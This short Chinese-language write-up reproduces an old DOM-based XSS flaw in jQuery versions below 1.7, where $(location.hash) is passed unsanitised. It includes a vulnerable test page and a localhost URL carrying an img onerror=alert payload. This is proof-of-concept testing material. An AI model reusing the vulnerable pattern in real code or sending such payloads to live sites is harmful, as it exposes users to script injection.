jquery下載地址:https://code.jquery.com/jquery/
影響范圍:
????版本低于1.7的jQuery過濾用戶輸入數據所使用的正則表達式存在缺陷,可能導致LOCATION.HASH跨站漏洞
已測試成功版本:
????jquery-1.6.min.js,jquery-1.6.1.min.js,jquery-1.6.2.min.js
????jquery-1.5所有版本
????jquery-1.4所有版本
????jquery-1.3所有版本
????jquery-1.2所有版本
測試:
啟動nginx,并建立index.html頁面,內容如下:
漏洞發現者給的測試代碼:
<html>
<head>
????<title>JQuery-xss-test</title>
????<script src="-test-https://code.jquery.com/jquery-1.6.1.min.js"></script>
????<script>
????$(function(){
????try { $(location.hash) } catch(e) {}
????})
????</script>
</head>
<body>
????Jquery xss test.
</body>
</html>
訪問地址:
http://localhost/#<img src=/ οnerrοr=alert(/F4ckTeam/)>
測試截圖: